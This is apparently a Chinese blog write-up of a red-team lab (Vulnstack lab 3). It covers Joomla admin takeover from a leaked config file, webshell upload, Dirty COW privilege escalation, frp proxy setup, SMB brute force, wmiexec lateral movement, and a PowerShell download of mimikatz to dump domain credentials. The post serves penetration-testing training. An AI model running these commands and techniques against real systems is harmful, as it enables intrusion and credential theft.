红日安全红队靶场(三)一次简单的内网渗透

个人公众号:白帽技术与网络安全

1、靶场介绍及设置

这是红日团队的第三套靶场(靶场下载地址见文末),本次靶场渗透涉及敏感信息泄露暴力破解脏牛提权内网穿透端口转发、以及域渗透等多种知识点。该靶场环境由5台机器组成,其中包括3台Windows机器和2台Linux机器。

靶场拓扑如下:

网卡配置

在虚拟机的网络编辑器中添加两个host only网卡,ip段分别为192.168.1.0/24和192.168.93.0/24

2、服务器渗透

2.1、信息收集

2.1.1、端口扫描

使用nmap进行端口扫描

Nmap -T4 -sC -sV 192.168.1.110

端口扫描发现外网服务器开启了22、80、3306端口,初步判断开启了SSH、HTTP和MySQL的数据库服务。

这里首先访问一下80端口,发现使用的是joomla CMS。(推荐一个谷歌插件:Wappalyzer)

知道是joomla了,那就使用msf的auxiliary/scanner/http/joomla_version模块扫一下看看版本。Joomla版本探测显示版本为3.9.12。

知道版本号之后就可以在网上的各大漏洞库(文末有常用的漏洞库链接)中搜索一下,是否存在可以利用的漏洞。由于唯一可用的rce需要管理员的账户和密码遂继续搜集信息。

2.1.2、目录扫描

接下来使用dirsearch进行目录扫描,发现了robots.txt、网站的后台/administrator/和一个configuration.php~文件

访问网站的后台发现一个登录框,使用burp suite抓包简单跑了一下,没跑出来。

接下来继续看一下配置文件都有什么

在配置文件中发现了数据库的账号和密码testuser/cvcvgjASD!@,于是使用工具连接数据库,成功!

拿到了数据库下一步就是要想办法添加一个账户,查看数据库后发现密码是加密存储的。由于加密算法未知,于是还得求助于搜索引擎。不得不说,Google yyds! 根据joomla的官方文档成功的添加一个用户admin2/serect。

使用刚刚添加的用户成功登录到了后台

2.2、Getshell

在后台寻找到一处可以上传php的地方,直接上传我祖传的冰蝎马~

连接成功

试了一下无法执行命令,发现disable_functions禁用了一些可以执行命令或代码的函数。

Disable_functions

虽然无法执行命令但是可以浏览文件,那就先翻一翻文件。最后在/tmp/mysql/下发现一个test.txt文件,并在其中发现了账号密码。

由于服务器开启了SSH服务于是尝试登录一下,成功!经过简单信息搜集发现这是一台双网卡机器,并且内核较老,可以使用脏牛漏洞提权。

2.3、权限提升

使用ftp上传提权脚本

执行提权脚本

提权成功。常用的脏牛提权脚本是生成firefart用户,我这里用的脚本直接覆盖了root用户的密码,将root用户的密码修改成了自己设定的123456。

2.4、代理搭建

为了方便内网渗透在这里搭建一个frp代理

frpc.ini配置如下

[common]
server_addr = 192.168.1.128  #kali的IP地址
server_port = 17000
token = 1q2w3e 
pool_count = 5        
protocol = tcp                #协议类型
health_check_type = tcp
health_check_interval_s = 100
[test] 
remote_port = 10000           #代理的端口
plugin = socks5               #使用的协议
use_encryption = true         #是否加密
use_compression = true

frps.ini配置如下

[common]
bind_addr = 0.0.0.0        #绑定的ip,为本机
bind_port = 17000          #绑定的端口
dashboard_addr = 0.0.0.0   #管理地址
dashboard_port = 27500     #管理端口
dashboard_user = root      #管理的用户名
dashboard_pwd  = toor    #管理用户的密码
token = 1q2w3e             #客户端服务端连接的密码
heartbeat_timeout = 90     #心跳超时时间
max_pool_count = 5         #最大同时连接数

在kali上启动frp server

./frps -c frps.ini

在linux上启动frp client

./frpc -c frpc.ini

在本机上配置proxifier

测试代理

3、内网渗透

3.1、主机探测

使用MSF的auxiliary/scanner/smb/smb_version模块扫内网的存活主机,发现内网存在域名为TEST的三台域内主机,分别是

win7 192.168.93.30/24
不知名机器 192.168.93.20/24
Windows server 2012 R2 192.168.93.10/24
(那台不知名机器其他大佬测的时候都是正常的server 2008)

3.2、口令爆破

接下来使用smb_login模块爆破smb服务。在这一步,网上好多大佬都说使用了自己top10000的字典跑出了密码。非常巧,在我的top10000字典中恰好没有这个密码(所以为了伪装成一个大佬我就手动把密码加了进去~)

跑出了两台机器192.168.93.30/192.168.93.20的密码都是123qwe!ASD

既然拿到了密码,接下来就可以使用wmiexec获取一个shell。

.\wmiexec_windows.exe administrator:123qwe!ASD@192.168.93.20
# WMI的全名为“Windows Management Instrumentation”。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。从Windows 98开始,Windows操作系统都支持WMI。利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。

执行ipconfig /all发现dns服务器为192.168.93.10,初步判断域控就是这台Windows 2012

看了一下进程列表没有发现杀软进程

3.3、mimikatz抓密码

因为内网主机不出网所以将mimikatz上传到Linux机器上,在Linux上使用python启动一个http服务。

python -m SimpleHTTPServer 8080

在Windows server2008上使用powershell下载到本地并执行,这里有一个问题就是使用wmiexec获取到的只是一个半交互的shell,所以mimikatz执行的结果需要保存在日志中方便读取。

powershell (new-object Net.WebClient).DownloadFile('http://192.168.93.100:8888/kiwikatz.exe','C:\mimikatz.exe')

执行后查看日志发现抓到了域控的明文口令

mimikatz.exe log privilege::debug sekurlsa::logonpasswords

使用wmiexec连接域控

最终在C:\Users\Adminisreator\Documents\目录下找到flag.txt

Capture the flag! 收工!

4、总结

总的来说这个靶场环境的渗透并不算难,但是在第一次做的时候依旧花费了一天的时间。在这之后又按照网上各位大佬渗透思路做了几次,每一次都会有一些新的收获。

5、相关链接

靶场地址

http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

漏洞库

https://www.exploit-db.com
https://www.pwnwiki.org/
http://wiki.peiqi.tech/
https://github.com/EdgeSecurityTeam/Vulnerability

浏览器插件

https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg?utm_source=chrome-ntp-icon
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值